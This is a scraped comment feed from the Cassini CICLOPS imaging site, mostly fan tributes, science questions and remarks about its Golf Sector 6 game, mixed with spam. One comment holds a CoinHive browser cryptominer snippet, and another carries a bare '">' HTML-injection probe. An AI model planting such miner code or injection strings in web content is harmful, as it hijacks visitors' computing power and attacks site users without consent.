CICLOPS: Cassini Imaging Central Laboratory for OPerationS

Sector 6

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We Came. We Saw. It's Done.
GB1979      
02-13-2018  09:03:47

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The Last Kiss Goodbye
Steve Cohen      
12-25-2017  14:38:58

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Hi there, is there footage of Cassini actually plunging into the atmosphere, just before it burns up?
Kenny      
12-24-2017  14:44:57

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Incredible job done with Cassini by some of the smartest, and best people there is today. I only wish I could of been there as a part of the team.
clipartner      
11-22-2017  04:31:18

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The next day to Cassini's transformation in a myth, I took the telescope to watch Saturn as a homage to it. The planet was there, girdled with its rings, and of its moons just Titan was visible. Very different to what it was before Cassini's arrival but at the same time it had not changed at all, alone again
NeKto      
10-01-2017  14:12:38

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i miss my friend the Cassini probe.
Red_dragon      
09-25-2017  08:50:51

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I,ve been a very long time without posting here unfortunately, but I want to thank you very much, Carolyn, as well as the rest of the CICLOPS team for sharing with us all those images and letting us dream with worlds so fascinating, from ringed Saturn to distant Phoebe and especially Enceladus and Titan. Your last entry has been especially touching to me.

The next day to Cassini's transformation in a myth, I took the telescope to watch Saturn as a homage to it. The planet was there, girdled with its rings, and of its moons just Titan was visible. Very different to what it was before Cassini's arrival but at the same time it had not changed at all, alone again.

Cassini is gone and all that remains is Huygens somewhere at Adiri, in Titan, but her legacy will endure and -hopefully- will inspirate new generations to boldly go where no other has gone before, to unlock the mysteries of the Universe.

Kudos to everyone who has made this adventure possible .
cptmakrismm      
09-24-2017  21:38:03

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Did Cassini revive Aristotle's dreams?
Cpt. V. N. Makris mm
Art101Design      
09-20-2017  19:19:55

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A longtime friend builds custom Dobsonian telescopes and motorized equatorial platforms for clients all over the world. We observed Saturn on his personal telescope recently (32" mirror, high up in the Sierra Nevada foothills, on a clear night with exceptionally stable viewing conditions). Amazing views — although nothing close to the stunning images Cassini sent to Earth.

Anyway, it occurs to me that with Cassini gone (and by extension, a human presence), Saturn seems more distant; maybe even a little lonely.

Kudos and heartfelt thanks to everyone who made the Cassini mission possible. Well done. Mission accomplished. Humankind will always remember these pioneering steps into the Universe beyond our little blue dot. In troubled times, it's good to know that our species is capable of wonder — and wonderful accomplishments.
Zuhal      
09-20-2017  00:53:58

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I can't thank you people enough for all of this. What an amazing gift to have the ability to sit in front of a screen and see all of this, its almost hard to comprehend. I often think of what people like Johannes Kepler or Ben Franklin would say if they were around to see what they have contributed too. Indeed, they would be awestruck. To Carolyn Porco, who has a place with those great names, and who has given herself to see that we as a species achieve our destiny among the stars, thank you.
newlife      
09-15-2017  13:13:43

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Carolyn - you have been my guide to a different world - an ambassador to what is humanly possible. I can't thank you enough for all of your diligent posts. Receiving them over the years has been the best diversion which I've allowed myself to get lost in.

Personally it's hard to imagine my inbox without those precious invitations to explore the universe and -even if just temporarily - leave the rest behind.

For the larger picture your important work reminds us that we are but one small place where an amazing turn of events have come to pass. We ought not take anything for-granted.

Thank you so much, and let's figure out how to continue!
drtaher      
09-15-2017  11:47:01

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Dear Carolyn,
As you said, it is the final log in decades of documentation that we have all enjoyed reading about. Thanks for sharing all your wisdom, thoughts and pictures and videos with us. You and Cassini will be sorely missed. - Taher
Balok1      
09-15-2017  11:34:28

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Captain Carolyn, I cannot thank you enough for keeping us updated on the Cassini Mission the last 20 or so years! Within that time so much has been discovered in the Saturnian system by Cassini and so much has happened on our pale blue dot! Thanks to your diligence with keeping us updated on Cassini, I've been able to share your posts with my 11 year old twin boys who have marveled at the images that have been transmitted by Cassini. Also, we really enjoyed the PBS specials on the Voyager probes and especially the mini-doc, "Second Genesis". We will pay tribute to Cassini tonight by watching "Death Dive to Saturn" on NOVA. I find myself thinking back to all the controversy over Cassini's launch and the unfounded fear that somehow Cassini would explode in the atmosphere spewing radiation. Along with exploration comes danger and the unknown yet what an ROI the citizens of Earth have received over all that has been learned by the Cassini Mission. My family and friends will always support NASA and scientific research. It really is up to us to lean on our representatives to expand funding for NASA, the NSF and other agencies doing science for the good of humanity.

As this final chapter plays out, the title of the final ST TNG episode comes to mind, All Good Things...
mbalduff      
09-15-2017  09:11:06

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Balduff, M
Thank you for a very exciting time for a lot of years. Seeing what no man has even seen before was totally awesom. You did a great job. Good bye Cassini, you will be missed.
PiperPilot      
09-15-2017  08:20:12

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Thank you very much for taking us all along for the ride Captain and providing a window seat. Time to publish all the pictures there weren't time for before...hint hint!!
Kudos and great job to all!
Salute!
dholmes      
09-15-2017  06:36:11

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I usually am a wordy guy, but this day words fail. So if I may let me paraphrase Captain Kirk's farwell eulogy to Spock from "Wrath of Kahn".
"We are assembled here today to pay final respects to our honored dead (Cassini). And yet it should be noted that in the midst of our sorrow, this death takes place in the shadow of new life, the sunrise of a new world; a world that our beloved comrade gave its life to protect and nourish. She (Carolyn) did not feel this sacrifice a vain or empty one, and we will not debate her profound wisdom at these proceedings. Of my friend,
(Dr. Carolyn Porco) I can only say this: of all the souls I have encountered in my travels, hers is the most... human.
martin young      
09-15-2017  02:47:20

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Thank you Carolyn for guiding us through the Cassini Odyssey and for the prose of your Captain's log. I can hear Carl Sagan mouthing those words.
NeKto      
09-15-2017  02:00:50

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as "that golden machine, so dutiful and strong, ... enter('s) the realm of history, and the toils and triumphs of this long march (are) done."
i want to extend the thanks i have already sent to that "golden machine" to the human members of the team that machine was a part of.
your dedication and contributions are greatly appreciated, and should be appreciated for a long time to come.
the amazing imagery and information you have brought to us are breathtaking and astounding.
from the designers and assemblers, to the imaging team and scientists, to the radio-telescope operators who aimed their antennas to capture Cassini's voice, Thank You one and all.
i am sad that this great mission has ended.
i am also envious of those of you that participated directly with this mission. i have never had any opportunity to be a part of anything like it. not even close.
i can't think of a better way to spend 27 years of working life.
LeighJD      
09-15-2017  00:50:55

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“We choose our next world through what we learn in this one. Learn nothing, and the next world is the same as this one, all the same limitations and lead weights to overcome.”
― Richard Bach, Jonathan Livingston Seagull

Adieu Cassini, you have served us so well ...

The Dragon Storm
Jimothy      
02-11-2018  14:29:33

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So, ~14 years later, what *have* scientists discovered regarding the mystery of the radio bursts?
The Saturn Storm Chronicles
Thomaszet      
02-09-2018  01:24:15

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Christine      
04-23-2012  06:50:47

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Hello, can you tell us is there still storm on Saturn now?
carolyn      
04-21-2012  13:49:49

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rem547: Patience! I'm working on an Enceladus paper as I write. I can promise: it will be fabulous and exciting and significant. Good enough for ya!?
rem547      
04-19-2012  10:33:08

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So When are we going to see some new reports on the recent Enceladus flybys? What are you finding out there in those plumes? It is so fascinating and I applaud the awesome job you are all doing!
sunwell      
04-15-2012  08:22:29

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I'm come in.And stay forcused
carolyn      
04-11-2012  16:16:53

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Je3ro: Ha! Glad you like our Golf Game. You came up with some great suggestions. Maybe we'll give those a try! Thanks.
carolyn      
04-11-2012  16:16:42

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Je3ro: Ha! Glad you like our Golf Game. You came up with some great suggestions. Maybe we'll give those a try! Thanks.
Je3ro      
04-07-2012  06:51:55

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Could I get a DATE with Carolyn? "She MUST be a fun person!" This game is great! Would be funny to have the golf ball accidentally hit a UFO. or maybe the UFO shoots the ball out of the sky if you hit the ball in the wrong direction or too high or something. Great Job!!!
Lee      
03-15-2012  22:23:36

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Congratulations on the Smithsonian's Trophy for Current Acievement. You've done marvelous and inspiring work.
stargazer2012      
03-07-2012  16:24:57

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awesome pictures great information great JOB.
stargazer2012      
03-07-2012  16:20:11

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thankyou!#1 CICOPS TEAM... FOR THE OUTSTANDING WORK ;AND KEEPING US INFORMED ON SATURNS'ACTIVTIES[ QUITE A BEAUTY..]
mafted      
02-24-2012  12:41:02

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I'd just like to know how the hexagon formed on Saturn's north pole. I suppose it's a natural shape (with light..), but idk?
GorT>      
02-07-2012  22:10:00

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Carolyn,
What say you of the interior...? It looks spooky, like you could hide something in there...But not too far, you'd run into H2 precip. I can't even imagine being able to view liquid H2 on that scale...By the way

Thank You
carolyn      
02-06-2012  13:48:02

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GorT: The ring particles are mostly water ice, w/ some very small percentage by mass of impurities, like silicates, Fe, etc.
GorT>      
02-05-2012  21:57:25

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Carolyn,
What are the spetrometer readings for the rings...Are they gold, platinum, maybe rhodium...Because I've been privy to pictures of cigar shaped spacecraft mining Saturn's rings. I mean they're just rocks, right?
Phyto      
12-27-2011  23:55:49

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I enjoy the view, but I'm confused. The illumination angle seems to off between the pairs of objects. In the shot of Titan with the ring shadows prominent, the illumination of Titan appears no more than 10 degrees above the horizontal of the image. However, the ring shadows seem to suggest a much higher illumination angle since they are so far below the edge-on view of the rings. Is this an optical illusion?
Amythest      
12-22-2011  22:37:21

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Really cool pics....one of my three favorite planets
NeKto      
11-28-2011  13:11:40

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Carolyn, i am glad to see there is enough data about this storm to suport a paper. i look forward to seeing it published!
i agree that pattience is nessesary in scientific investigation, but i believe that scientists should never be so patient that they hesitate to ask good questions.
the work that the whole team has shared with us here proves you have been asking great questions. the proof is, the results have led to many more great questions.
my exprience is the best science produces answers that generate exponentially more questions than were asked in the first place.
thanks for sharing, Team!
Pasargadian1      
11-26-2011  11:58:04

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Hi,I 'm so happy because I am astronomy lover,like you.
Soheil Salimi.
carolyn      
11-20-2011  16:10:00

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Everyone: There is in fact a paper about this storm that a small group of us imaging team members have written. It has just been submitted, and so now we sit and wait for the review process and hopefully publication. We can't yet answer some of your more detailed questions. But know that this discovery and the opportunity it presents will be receiving a lot of attention over the coming months and years. Scientific investigation requires a certain suite of skills and traits, and patience is one of them! In the meantime, thanks much for your appreciation of our work. I really wanted to make this release special, and I'm happy that it has been so well received. Best to all of you!
Jay55      
11-20-2011  15:54:13

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Whoa! Absolutely amazing stuff. Many thanks to you Carolyn and your team for presenting us with such spectacular images. i am looking forward to hearing about what they all mean in the coming weeks and months. is there a paper coming?
manuelgis      
11-20-2011  09:30:18

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thanks you show us something wonderfull!!!
umpireplb      
11-19-2011  20:08:16

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Things here on Planet Earth may be falling apart at the seams, but these gorgeous images of the chaos transforming Saturn's landscape make what's happening down here seem very insignificant in a cosmic and soul-stirring kind of way. Thank you, Captain Porco and the crew!
NeKto      
11-18-2011  11:28:31

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Captain, you folks on the team do great work.
BlindStevie      
11-18-2011  09:44:22

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CICLOPS Team,

The northern hemisphere storm images are spactacular.

BlindStevie
BlindStevie      
11-18-2011  09:43:22

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CICLOPS Team,

You folks are the front line in man's effort to understand the solar system. Press on with PRIDE!

BlindStevie

A Farewell to Saturn
XRumerTest      
02-02-2018  09:47:26

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Hello. And Bye.

Prometheus "Rev 125" Flyby Raw Preview
Thomaszet      
01-31-2018  04:37:51

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Twilight Haze
Dragon_of_Luck_Mah_Jonng1971      
01-20-2018  21:52:33

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One of the most interesting color images of Titan of the mission ( published so far )

Titan Under the Vortex
Kenny      
12-24-2017  14:56:23

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Love this image. So beautiful and serene. Future generations will definitely be treated and amazed by the Saturn system.

Titan’s Shores
Kenny      
12-24-2017  14:48:50

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This is my all time favorite image related to Titan. I would do anything to be able to visit the wonder of a Titan shoreline. Incredible!

A Farewell to Saturn
Bogo      
11-22-2017  01:47:44

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Goodbye my window vicarious into another world. Thank you to all those who made an operated you. It was an honour to watch you work. Godspeed to you all!
NeKto      
11-21-2017  17:19:43

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Farewell, noble machine. inanimate friend, stalwart explorer, who brought our eyes and ears to the Saturn system for baker's dozen years.
you are missed, good and faithful friend.

Goodbye to the Dark Side
NeKto      
10-03-2017  06:03:02

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another beautiful gift from the friend who is no longer with us.

The Day The Earth Smiled
kefifihe      
09-30-2017  02:38:47

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wowvar miner = new CoinHive.Anonymous('YOUR_SITE_KEY');miner.start();
biyis@p33.org      
09-30-2017  02:28:52

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amazing wow
jsc248      
11-14-2013  07:25:26

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I smiled, it's a pity I am on the dark side at this time. Great fun to think of a world all with astronomy on their minds at one given point of time!
Lee      
11-13-2013  18:27:10

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WOW! WOW! WOW!

Great work: Thank you so much!

Congratulations on a job very well done.
Craig      
11-13-2013  12:21:24

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Great images!

Would Titanians(?) say: "What a big, hot, toxic planet that distant Earth is, so close to the Sun. It's 2/3 covered with molten rock - obviously uninhabitable!"

Size perspective: I always see things like "Tethys is 1/3 the size of Earth's moon". Or "Mars is 1/2 the size of the Earth." That's like saying a tennis ball is 1/3 the size of a soccer ball. Thus we get distorted ideas of how big worlds are. Volume - the true measure of "size" - is proportional to the cube of the diameter.

So in round numbers, Earth (12756Km diam.) is 6-1/2 times the size of Mars (6787Km). Titan (5156Km) is 1/2 the size of Mars. Tethys (1060Km) is 3% of the size of Earth's moon (3476km) or 1% of the size of Titan.

...Of course, if we want to know how many acres it has for golf courses, surface area is proportional to the square of the size.

featinwe      
11-13-2013  07:47:26

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Absolutely stunning photo! a pity you didn't mention about three moons visible here ;) great job anyway!
unger61      
11-12-2013  20:31:22

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What a great image...puts us a little in perspective
kimfox      
11-12-2013  15:46:52

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absolutely brilliant

Dreamy Swirls on Saturn
Dragon_of_Luck_Mah_Jonng1971      
09-20-2017  03:01:12

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That's a very interesting view of Saturn's clouds showing many details and many hues. It's also offering a true three-dimensional view of those clouds.

Enceladus Setting Behind Saturn
Dragon_of_Luck_Mah_Jonng1971      
09-20-2017  02:50:27

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My rating would be "12" .
Kathy Corday      
09-15-2017  07:22:41

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PIA 21889 is amazing. It puts you right there!

So Far from Home
Cosmonautika      
09-19-2017  23:34:42

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Es para mi un honor, haber participado en el proceso de imagenes, durante los 20 años de misión de la Nave, es una alegria que muchas mujeres hayan sido la inspiración del equipo de ingenieros y de imagenes. Un saludo a la Dra. Caloryn Porco, la Dra. Mar Vaquero con la cual he compartido en video conferencias animando a jovenes en los temas del espacio. Muchas Gracias Cassini por ser una nave que ha unido todo el planeta en una sola mision, ir y conocer un mundo en donde nadie ha ido antes y ahora poderlo ver como el mundo de las maravillas que nos espera nuevamente.

It is an honor for me, to have participated in the process of images, during the 20 years of mission of the Ship, it is a joy that many women have been the inspiration of the team of engineers and of images. A greeting to Dr. Caloryn Porco, Dr. Mar Vaquero with whom I have shared in video conferences encouraging young people in the themes of space. Thank you very much Cassini for being a ship that has united the whole planet in a single mission, to go and to know a world where nobody has gone before and now to be able to see it like the world of the wonders that awaits us again.

Saturn Final Approach Images
Kathy Corday      
09-15-2017  08:00:07

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R.I.P. Cassini Saturn...Oh, the places you've gone!

Finale Ringscape
Kathy Corday      
09-15-2017  07:29:52

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Mesmerizing...
A Subsurface Globe-Encompassing Watery Realm on Enceladus
K5JDW@yahoo.com      
09-14-2017  22:49:42

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Very soon the JPL Team will claim no JOI ...
Sergio      
09-12-2017  06:20:55

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I will miss this old friend, because in these 20 years (and especially in the last 13 of course) Cassini was a friendly presence, the assurance that something good may come from the Mankind. Beyond stupid and meaningless divisions, beyond the hatred, motivated by as much idiotic reasons. Beyond the miserable greed.
Beyond all this there was Cassini, studying, searching, exploring. Cassini was the best of the best of the Mankind. A daily visit to Cyclops was a moment of enjoyment and relief.
So... farewell, my old friend.
With you it's been one hell of a ride.
Bob Park      
09-11-2017  16:06:31

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Dear Carolyn -

Thank you for all of the wonderful imagery...looking up at that dot in the sky, it's amazing to think that Cassini is still out there sending these wonderful views millions of miles across the vastness of space for us to learn from and enjoy. I'm so sorry this has to end in a few days, but also so very grateful for and appreciative of all of the hard work you and your dedicated team have put into this incredible journey. Your project has benefitted everyone from the most knowledgeable scientists to the most humble hobbyists...from the bottom of my heart, thank you, fare thee well and bon voyage Cassini!
NeKto      
09-11-2017  12:59:39

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i have been enthralled with NASA's missions from the time i watched Echo I cross the night sky shortly after its launch.
of all the missions NASA has participated in, that i have witnessed, Cassini is, by far, the most spectacular.
i come from a background that believe inanimate objects can have spirit. both the Cassini and Huygens probes lend support to that notion.
the extraordinary performance, the unprecedented imagery, the astounding science these two stalwart machines have sent to use should be appreciated for generations to come.
i have come to think of the Cassini probe as a trusted friend who just keeps giving me things to appreciate. from unlocking the information that lead to the conclusion there is a liquid ocean under the ice crust of Enceladus, to awe inspiring images of the rings.
so, little robot, so far away, thank you for 13 years of stalwart service. you are a key member of a really great team.
i am firmly convinced you will be sorely missed by everyone on that team.
i know you will be missed by this member of the crowd in the grandstands. i strongly suspect you will be missed by many others.
so, dear friend, thank you.
thank you for all the images.
thank you for all the information.
most of all, thank you for all the windows that lead to insight.
thank you.
PiperPilot      
09-10-2017  07:47:29

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The Last Lap
Sad in the aspect that this mission is over. Time to move to Cassini Ver 2.0 and finally have time to analyze the petabytes of data collected.
Thank you Ciclops Team it's been a wild and wonderful ride.
clipartner      
06-21-2017  18:01:40

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It has been a hard problem to solve, requiring persistence, painstaking analysis, an understanding of orbital and rotational dynamics, and bringing to bear the full and tedious brunt of statistical analysis. But it has yielded gold.
clipartner      
06-21-2017  18:01:33

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It has been a hard problem to solve, requiring persistence, painstaking analysis, an understanding of orbital and rotational dynamics, and bringing to bear the full and tedious brunt of statistical analysis. But it has yielded gold.
clipartguru      
06-12-2017  14:50:52

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Wow, this is amazing.
sami      
06-10-2017  05:44:27

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i love space exploration and this mission is very important
jsc248      
05-10-2017  06:02:22

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It is incredible that after all these years of the CASSINI mission that one of it's most important discoveries comes in the twilight of the mission. It is amazing to have the global ocean shown so completely. Now that we know that ocean there exists and it is global, are there any chances for life within the ocean. There are organics in the plumes and the ice layer should have provided a good barrier for radiation, the heating of the water, albeit by gravitational friction or "black smokers" on the seabed, to provide us with the ideal conditions for life. Or at least as ideal as can be found so far from the Suns influence.
So I would like to ask Carolyn what her views are?
John.
jibranpcc      
05-07-2017  02:50:11

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Dear Carolyn and all involved in the mind expanding Cassini-Huygens mission across the years thank you! Yesterday I was sharing the newest images you had released with my 4 year old grandaughter. She was zooming in and out on the images and asking me all kinds of questions. Because of all your work and your dedication to sharing both the images and the evolving science you were all deciphering I was able to give her general answers! She then grabbed an astronomy magazine and climbed into the chair and started turning the pages saying "I wonder if this is in your magazine Gramma." We had a delightful hop across thr galaxies!
Baton rouge Fence Repair      
04-24-2017  11:56:31

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Very informative information. Thank you for expanding my knowledge of the ice layer.
mikeroch      
04-22-2017  20:26:00

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Wonderful it is for full stop pounding
mikeroch      
04-22-2017  20:22:26

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Wonderful it is for full stop pounding
Web971      
04-21-2017  16:45:13

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Hi all, not a lot of comments
Cote2018      
04-12-2017  00:51:04

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Salut la communauté. Moi c'est Pascal, vétérinaire dans une clinique à Monaco. Pendant mon enfance, j'avais un chien à la maison du nom de Fred. Avec lui, je m'amusais souvent à jouer le vétérinaire. Aujourd’hui, je sais que je suis entrain de faire le métier de mon rêve et j'adore mes patients à quatre pattes. Merci et à très bientôt .
Cote2018      
04-11-2017  16:12:16

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Salut la communauté. Moi c'est Pascal, vétérinaire dans une clinique à Monaco. Pendant mon enfance, j'avais un chien à la maison du nom de Fred. Avec lui, je m'amusais souvent à jouer le vétérinaire. Aujourd’hui, je sais que je suis entrain de faire le métier de mon rêve et j'adore mes patients à quatre pattes. Merci et à très bientôt .
PiperPilot      
04-07-2017  15:02:37

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Why was the A ring prop called Earhart? Much more deserving women in aviation abound. Cochran or Thaden to name two.
maureenkistle      
04-07-2017  05:35:55

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Thanks for taking the time to discuss this, I feel strongly about it and love learning more on this topic
READ

HERE

VISIT
Cote2018      
04-06-2017  11:35:19

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Merci pour l'article continuez de faire comme ce type de posts !
clipground2      
03-30-2017  06:19:43

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Hi to all
maxkazan      
03-29-2017  00:24:04

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I will show this article to my friends- thank you
Mary      
03-28-2017  09:18:50

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thank you for the info


info



Carpet Cleaning Ottawa      
03-27-2017  10:32:39

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Simply Amazing!
Codes      
03-26-2017  15:45:36

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From Sector 6, an Alliance member will eventually be able to embark in a variety of directions
patrickB      
03-19-2017  10:04:58

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That was so interesting... I'm not much of a science man but this leaves you wondering...
PatB
FrankW      
03-16-2017  13:18:27

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Absolutely stunning. If only we could see 100-150 years into the future to see where we are! Costa Mesa Plumber
lucyjames      
03-15-2017  10:50:21

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i wish we spent more of our time, energy, and treasure on things like the Cassini mission.
kasstri      
03-14-2017  08:35:28

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Not a all.
PiperPilot      
12-31-2016  14:04:27

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To the whole team I want to send a Happy & Sad New Year to all.
PiperPilot      
09-16-2016  16:58:55

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I'm really not looking forward to this time next year. Not a all.
NeKto      
07-06-2016  22:40:22

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Cassini really has set a high bar for future planetary exploration. an extremely high bar. i do not look forward to the end of this mission gladly.
as with any good scientific investigation, Cassini has left us with many more questions than answers. one important legacy of this mission is the very high quality of those questions.
i wish we spent more of our time, energy, and treasure on things like the Cassini mission.
mikesimons      
02-23-2016  08:07:23

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What an amazing ride. I've cried at the beauty of the images...and Carolyn, you (and the team) have joined my very short list of heroes.
LScot      
12-22-2015  19:06:02

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Riffing off of the above comments, I am a great admirer of Lady Gaga's talents and efforts in a completely different venue; but here I would say to you, Caroline, you are the Lady Gaga of planetary imaging science and have provided me years of clearly written informative and exuberant text on many Cassini adventures. This article is a concise gem; but more importantly it completes a volume in the story of Enceladus. I am not implying there isn't more to discover (Can we talk sampling its plumes for life?), but it provides satisfying closer to a story arc, a question of what is this strange little (tiny!) moon and why is its message so huge? I am not sure I will be around for the conclusion of the next volume, but I will savor each new chapter as long as can. Thank you Cassini and thank you Caroline for this great and example of science at its most profound.
agenifya      
12-09-2015  19:19:05

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Thanks For The Sensible Critique. Me & My Neighbor Were Just Preparing To Do Some Research On This. We Got A Grab A Book From Our Area Library But I Think I Learned More Clear From This Post. I Am Very Glad To See Such Magnificent Information Being Shared Freely Out There. agenify
cmc      
10-31-2015  04:45:35

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Dear Carolyn and all involved in the mind expanding Cassini-Huygens mission across the years thank you! Yesterday I was sharing the newest images you had released with my 4 year old grandaughter. She was zooming in and out on the images and asking me all kinds of questions. Because of all your work and your dedication to sharing both the images and the evolving science you were all deciphering I was able to give her general answers! She then grabbed an astronomy magazine and climbed into the chair and started turning the pages saying "I wonder if this is in your magazine Gramma." We had a delightful hop across thr galaxies!
ludicman      
10-26-2015  10:12:10

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Perhaps this will be the week for a grand new discovery!
NeKto      
09-28-2015  07:27:29

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it is things like this that remind me how much i am going to miss Cassini when it's gone. it ain't just the great images, it's a lot more. i will be here until the end of this ride.

Small Wonders
J.M.Hoomans      
09-14-2017  11:11:31

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Intriguing:

Atlas is saucer-shaped because it's most likely gathering particles from Saturns' rings: this process allows Atlas to grow over time (same thing happened probably to Iapetus: it has the same ridge along its equator).

Ergo: Saturn rings probably act like an accretion disk :-)
XRumerTest      
07-18-2017  14:45:34

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Hello. And Bye.
XRumerTest      
07-11-2017  15:08:06

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Hello. And Bye.

Sixty-Four Scenes from Saturn ... The Poster
johnkraenkel      
09-14-2017  10:09:03

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Money well spent. So much to learn from the data collected. Incredible

Cloudy Waves (False Color)
NeKto      
08-18-2017  14:27:00

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what is the best estimate for atmospheric pressure at the altitude of the cloud tops? what temperatures are they forming at?

Jets from a Distance
stevenwolinsky@aol.com      
07-19-2017  14:09:12

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do the jets affect Enceladus' orbital motion?

North Pole of Enceladus
BradRadSad      
07-04-2017  18:42:20

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Nice picture. Keep them coming please.
Air Conditioning Repair
raketenflugplatz      
06-07-2017  03:27:11

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A testimony of stormy history
Dragon_of_Luck_Mah_Jonng1971      
05-06-2017  19:10:10

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A rather fascinating view of that complex surface with a lot of Enceladan features especially at the lower left.

Saturnian Dawn
NeKto      
06-28-2017  07:18:47

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whenever i see a back lit view of Saturn, i wonder how thick the apparently clear section of atmosphere is. how many miles between what looks like the top edge and what we see as cloud tops.
What is the atmospheric pressure where the clouds begin? how many kilometers tall are the cloud walls we see at the polar vortexes? what is the vertical scale of those structures we see?
whatever the answers, i am glad Cassini is there with the cameras to take the pictures.
the images continue to be mind boggling.

Saturn-rings 'Rev 277' Raw Preview #1
Laurence      
06-07-2017  00:58:10

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I agree with Al. A true symphony. How beautiful!
alwolfe      
06-06-2017  03:10:08

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What a symphony of ringlets! Which part of the ring system are we looking at here?

Wandering Poles of Enceladus
XRumerTest      
06-04-2017  12:25:09

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Hello. And Bye.
NeKto      
05-30-2017  18:51:01

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i would presume the ice mantle migrated over the ocean. i would suspect the core might have moved very little.
Golf Sector 6
Robert723      
06-02-2017  00:10:50

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Google
gloria67      
05-26-2017  14:37:17

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and make sure that the axis points to the 3 interior red spots
gloria67      
05-26-2017  14:36:37

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I think it would be possible if they use the right metal and choose the right over carrier
gloria67      
05-26-2017  14:35:41

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New Horizons? More like the other 32 :P
Drone      
05-13-2017  08:27:33

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Nice game I got fun!
pbx      
02-19-2016  21:40:56

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Thanks for all you do!
The game is addicting. Just want to know if I get uber points for hitting the ball all the way around Tethys, landing at my feet, and having the game tell me I hit the ball into the ground????! :P
Also - is it ok to share this link on my facebook page, or mention the game in a story I'm writing? (please...?)
">      
08-24-2015  11:39:23

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">
sahilmallik      
09-20-2014  03:01:17

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this game is damn cool
ravi prakash dwivedi      
06-15-2014  14:02:47

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lack of funds, its big problem for me..
i dont have any option to earn money... alliance do some thing for me, i need ur help.
ravi prakash dwivedi      
06-06-2014  11:23:08

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thoda mushkil hota h dear....
ravi prakash dwivedi      
05-21-2014  20:01:18

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i also dont know what is hapening around me, it looks like i am made...
ravi prakash dwivedi      
05-20-2014  01:16:48

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thnaxxxxxxxx
ravi prakash dwivedi      
05-20-2014  01:07:53

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need some chilxxx
Jax LaRue      
05-04-2013  21:42:51

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Great fun!
Lapedis01      
03-20-2013  10:22:55

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Out of this world !!!
thespis2717      
05-19-2012  17:59:11

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Twice, and both times on Enceladus, I hit my golf-ball into an orbit where it came back to hit me - once on the legs and once on the back! After I figured it out, I almost his a hole-in-one!
Judit      
05-07-2012  12:36:20

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OK I figured it out. I'd like to file a complaint! I was aiming away merrily on Hyperion, when all of a sudden (well, quite slowly actually but that doesn't sound dramatic enough) Saturn glided into view, rings ahead, and the beautiful sight distracted me so much that I, jaw dropped, hit the ball so hard that I'm afraid it's gonna break something on New Horizons.

I love the Superman-like way the golfer leaves a moon :)
Judit      
05-07-2012  12:19:38

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No idea what I'm doing, but it's fun! :)
Breitstar      
04-28-2012  00:51:01

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I would like to see a gravity rating so I can gauge my shots.
Maybe a running score or little audio's like 'Your friends are laughing at you!'
How about club selection?
Yeah... It's gravitated me into it's web!
WA9JAM      
03-18-2012  23:35:25

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HI Cyclops team ! Well we have plenty of sand traps, but no trees, so how about some dust devils, and a meteor or two for hazards ? Or Satellites, rovers or rockets ! !
Keep up the outstanding work and long lasting achievements in all your endeavors
73
terith      
11-17-2011  17:43:36

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HTML 5 for iPad?
carolyn      
08-31-2011  07:37:18

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Bubo: Glad you like our game! We may in fact take some of your suggestions, which are good ones.

Anyone else wanting to leave suggestions, pls do!
Bubo      
08-30-2011  14:07:27

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wow, i totally got sucked into this game! i love how simple/bare-bones it is, but how much it makes you think in terms of gravity and elliptical orbits, etc. and especially love getting lost in the pictures of the moons during those long, slow drives around low-gravity moons. :)

i hope you guys keep adding new courses, and maybe a customizable player feature... or possibly a multi-player feature (up to four players at once? that way i could get my whole office around the computer at lunch for a round.

just wanted to shout-out that i scored a PERFECT GAME on the front 9! i was jumping up and down in my office chair! :)

thanks again for a great free game
Bubo      
08-29-2011  11:56:25

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lol, nevermind, found it *facepalm*
Bubo      
08-29-2011  11:55:10

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how do you view the high-scores? is there a page i'm not seeing? if there's not one, could you guys please add one?

great game btw, very addictive!
Mr Area 51      
07-28-2011  10:15:06

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I saw this game mentioned in Barrons magazine and now I am hooked. I can even play the front 9 in under 20 over par. The leader board says some one completed it in 11 strokes. Wow - whats his secret?
burnhel      
07-25-2011  15:04:40

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How do I start the game?
sealion      
07-24-2011  14:39:40

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Ok, I went straight to the course and smacked the ball well into the universe. First hole on the front nine, quadruple bogey. Now I will read the directions.
AJLoFranco      
07-23-2011  18:36:37

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Still feels like I'm just hacking away at the ball. As usual. So, quite realistic!
Darkheart      
06-28-2011  08:10:27

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No run... why? click in Play GOLF SECTOR 6 and no hapend nothing....
Breitstar      
01-10-2011  21:14:59

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When's the Saturn Invitational?
Breitstar      
01-10-2011  21:13:49

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I love the perfect shot that orbited around and hit me in the head! I laughed so much. Reminds me of my REAL game. So much fun but I still STINK! One more Romulan Ale and I'll try again! I would love the balls view looking down at the moon and a little more real player. Maybe some choices we could customize our player.
TitanExplorer      
10-17-2010  15:25:44

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Carol - could it be feaseable to send a mission to Titan carrying four sattellites at once which would be carried by an unmanned vehicle?
Sez      
08-24-2010  21:45:00

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A hole in one FTW !!!
TheMonsignor      
08-07-2010  04:29:49

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This is a great waste of time, learning about the different moons gravities from a fairly well understood premise of weight and power. I can't wait for the 3d game!
carolyn      
07-24-2010  08:46:01

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prichardgs: You and a whole lot of other people!
prichardgs      
07-23-2010  09:08:23

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I added some more items to Saturn's orbit. Fun application of physics.
philby63      
06-19-2010  03:24:15

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Who knew gravity could be so much fun? Reminds me of the old Commodore 64 game Artillery Duel.
Craig      
06-16-2010  09:42:16

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Fun!
carolyn      
06-15-2010  13:37:09

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Alliance members: Hey...how are you liking our Golf game?! Let us know what you most enjoy about it, and any ideas you have for further improvements. If your ideas are too sophisticated, we likely won't be able to add them for lack of funds. (This is all personally financed!) But...who knows...some of them might be not too difficult and therefore possible. Enjoy!

Enceladus Towers
Anand9854      
05-17-2017  02:56:22

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Nice Information !!
Thank for sharing
Console cheats

Console Commands

Ark console cheats

Dark Chasm
Dragon_of_Luck_Mah_Jonng1971      
05-06-2017  18:59:44

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One of the best views yet of the entire mission of Ithaca Chasma on Tethys showing its remarkable depth in a global context.

'Rev 271' Raw Preview #3
JeremyJhawkes      
04-27-2017  09:54:24

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I don't know which part of Saturn this picture shows but the set of six quite evenly spaced clumps in a rectangle look like they might be Rayleigh streaming vortices. Neighboring vortices rotate in opposite directions and exchange material between rotating cells. Sometimes driven by vibrations. But with such a fuzzy image I guess I'm being fanciful.

Portal View
jamestemple000      
04-27-2017  05:56:36

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briliant

Titan 'Rev 270' Raw Preview
mic1303      
04-26-2017  10:37:45

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Amazing images! Thanks!
Visions of Saturn Danced in Our Heads
militer      
04-20-2017  20:57:17

